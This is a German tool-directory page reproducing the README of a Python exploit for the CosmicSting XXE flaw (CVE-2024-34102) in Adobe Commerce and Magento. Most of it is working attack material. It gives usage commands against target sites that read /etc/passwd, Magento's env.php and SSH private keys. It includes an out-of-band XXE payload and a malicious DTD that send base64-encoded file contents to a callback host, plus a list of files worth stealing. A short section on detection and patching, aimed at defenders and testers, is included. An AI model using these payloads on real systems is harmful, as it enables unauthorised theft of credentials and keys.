Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-34102 — CVE-2024-34102 exploit for python3 | Kitploit
Tools/GitHubGitHub/nmmorette/cve-2024-34102
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubnmmorette/cve-2024-34102

CVE-2024-34102

CVE-2024-34102 exploit for python3

Repository anzeigen
1vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-34102 - CosmicSting XXE Exploit

Python Version CVE

Exploit für CVE-2024-34102 (CosmicSting) - XML External Entity (XXE) Schwachstelle in Adobe Commerce und Magento.

📋 Über die Schwachstelle

CVE-2024-34102 ist eine kritische XXE (XML External Entity) Schwachstelle, die folgende betrifft:

  • Adobe Commerce Versionen 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 und früher
  • Magento Open Source (gleiche Versionen)

Diese Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer:

  • 📄 Beliebige Dateien vom Server auslesen
  • 🔐 Anmeldeinformationen und sensible Konfigurationen exfiltrieren
  • 💾 Auf Datenbankinformationen zugreifen
  • 🚨 Beliebigen Code ausführen (in einigen Szenarien)

CVSS-Score: 9.8 (Kritisch)

🎯 Danksagungen

Dieser Exploit basiert auf den ursprünglichen Arbeiten von:

  • @Chocapikk - Original CVE-2024-34102

Verbesserungen in dieser Version:

  • ✅ Benutzerdefinierter dynamischer DTD-Server (vermeidet fars.ee-Abhängigkeit)
  • ✅ Callback-Server mit automatischer Dekodierung
  • ✅ Validierung erforderlicher Parameter
  • ✅ Wiederholungslogik für externe Dienste
  • ✅ Ausführlichere Fehlermeldungen
  • ✅ HTTPS-Unterstützung für Callbacks
  • ✅ Volle Kompatibilität mit Python 3.8+

🛠️ Anforderungen

  • Python 3.8 oder höher
  • Zugriff auf einen Server, um DTD-Dateien zu hosten (VPS, Burp Collaborator, etc.)
  • Callback-Dienst (Burp Collaborator, Oastify oder eigener Server)

📦 Installation

root@kitploit:~
# Clone the repository
git clone https://github.com/YOUR_USERNAME/CVE-2024-34102.git
cd CVE-2024-34102

# Install dependencies
pip install -r requirements.txt

🚀 Verwendung

Methode 1: Verwendung von fars.ee (automatisch)

root@kitploit:~
python3 exploit.py \
  -u https://target.com \
  -f /etc/passwd \
  -c your-callback.oastify.com

Methode 2: Verwendung eines eigenen DTD-Servers

Terminal 1 - DTD-Server:

root@kitploit:~
sudo python3 server_dtd.py

Terminal 2 - Exploit:

root@kitploit:~
python3 exploit.py \
  -u https://target.com \
  -f /etc/passwd \
  -c your-callback.oastify.com \
  --dtd-server YOUR-IP:8000

Methode 3: Mit eigenem Callback-Server

Terminal 1 - DTD-Server:

root@kitploit:~
sudo python3 server_dtd.py

Terminal 2 - Callback-Server (automatische Dekodierung):

root@kitploit:~
sudo python3 callback_server.py

Terminal 3 - Exploit:

root@kitploit:~
python3 exploit.py \
  -u https://target.com \
  -f /etc/passwd \
  -c YOUR-CALLBACK-IP \
  --dtd-server YOUR-DTD-IP:8000

📝 Parameter

Erforderlich:

  • -u, --url - Ziel-URL (Basisdomain)
  • -f, --file - Datei, die vom Server gelesen werden soll (z.B. /etc/passwd)
  • -c, --callback - Callback-Server (IP/Domain)

Optional:

  • --dtd-server - Benutzerdefinierter Server zum Hosten der DTD-Datei
  • --https - HTTPS für Callback verwenden (Standard: HTTP)

🎬 Beispiele

/etc/passwd lesen

root@kitploit:~
python3 exploit.py \
  -u https://vulnerable-site.com \
  -f /etc/passwd \
  -c abc123.oastify.com \
  --dtd-server 192.168.1.100:8000

Magento-Konfiguration lesen

root@kitploit:~
python3 exploit.py \
  -u https://vulnerable-site.com \
  -f /var/www/html/app/etc/env.php \
  -c abc123.oastify.com \
  --dtd-server 192.168.1.100:8000

SSH-Schlüssel lesen

root@kitploit:~
python3 exploit.py \
  -u https://vulnerable-site.com \
  -f /home/ubuntu/.ssh/id_rsa \
  -c abc123.burpcollaborator.net \
  --dtd-server 192.168.1.100:8000 \
  --https

🔍 Funktionsweise

1. Out-of-Band XXE

Der Exploit verwendet die Out-of-Band-XXE-Technik, um Daten zu exfiltrieren:

root@kitploit:~
<!-- Payload sent to target -->
<!DOCTYPE r [
  <!ENTITY % sp SYSTEM "http://your-server/exploit.dtd">
  %sp;
  %param1;
]>
<r>&exfil;</r>

2. Externes DTD

Der Zielserver lädt das bösartige DTD herunter:

root@kitploit:~
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://callback/?exploited=%data;'>">

3. Exfiltration

Der Server verarbeitet das XML, liest die Datei, kodiert sie in Base64 und sendet sie an den Callback:

root@kitploit:~
GET /?exploited=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo...

4. Dekodierung

root@kitploit:~
echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo..." | base64 -d

📊 Beispielausgabe

root@kitploit:~
[*] CosmicSting XXE Exploit (CVE-2024-34102)
[*] Target: https://vulnerable-site.com
[+] Callback Server: abc123.oastify.com
[+] Using custom DTD server: 192.168.1.100:8000
[+] DTD URL: http://192.168.1.100:8000/12ec6594.dtd?callback=abc123.oastify.com&file=/etc/passwd&protocol=http

DTD will be dynamically generated with:
[*]   Callback: http://abc123.oastify.com
[*]   File: /etc/passwd

DTD server is running? Ready to continue? [y/N]: y
[+] Target file: /etc/passwd
[+] Callback URL: http://abc123.oastify.com/?exploited=...
[*] Sending XXE payload to: https://vulnerable-site.com/rest/V1/guest-carts/1/estimate-shipping-methods
[*] Response status: 500
[!] Status 500 - This is normal! XXE may have triggered.
[!] Check your callback server for incoming requests.
[*] Waiting for callback (5 seconds)...

=== CHECK YOUR CALLBACK SERVER ===
[!] Monitor your callback service for incoming HTTP requests
[!] Expected request: http://abc123.oastify.com/?exploited=<base64_data>

To decode the exfiltrated data:
[*]   echo 'BASE64_STRING' | base64 -d

[!] Check your Burp Collaborator or Oastify dashboard now!

🛡️ Erkennung und Abwehr

Für Verteidiger:

Erkennung:

  • Überwachen Sie HTTP-Anfragen an Endpunkte wie /rest/V1/guest-carts/*/estimate-shipping-methods
  • Warnen Sie bei XML-Payloads mit externen Entitäten (<!ENTITY)
  • Erkennen Sie ausgehende Verbindungen zu verdächtigen Domains

Abwehrmaßnahmen:

  • Aktualisieren Sie auf gepatchte Versionen:
    • Adobe Commerce 2.4.7-p1, 2.4.6-p6, 2.4.5-p8, 2.4.4-p9
  • Deaktivieren Sie die Verarbeitung externer Entitäten im XML-Parser
  • Implementieren Sie eine WAF mit Anti-XXE-Regeln

Für Pentester:

Interessante Dateien zum Testen:

root@kitploit:~
/etc/passwd
/var/www/html/app/etc/env.php
/var/www/html/app/etc/local.xml
/home/USER/.ssh/id_rsa
/var/log/apache2/access.log
/proc/self/environ

⚖️ Rechtlicher Hinweis

root@kitploit:~
This exploit is provided for educational and security research purposes only.

Using this code to test systems without explicit authorization is ILLEGAL.

You are SOLELY responsible for your actions. Use only on:
✅ Your own test environments
✅ Authorized bug bounty programs
✅ Contracted penetration tests

DO NOT use on:
❌ Systems without authorization
❌ Production environments without permission
❌ Any malicious activity

The author is not responsible for misuse of this code.

📚 Referenzen

  • Adobe Security Bulletin APSB24-40
  • CVE-2024-34102 Details
  • OWASP XXE Prevention
  • Original Exploit by Chocapikk

⭐ Falls dieses Projekt nützlich war, erwägen Sie bitte, einen Stern zu vergeben!

Tool herunterladen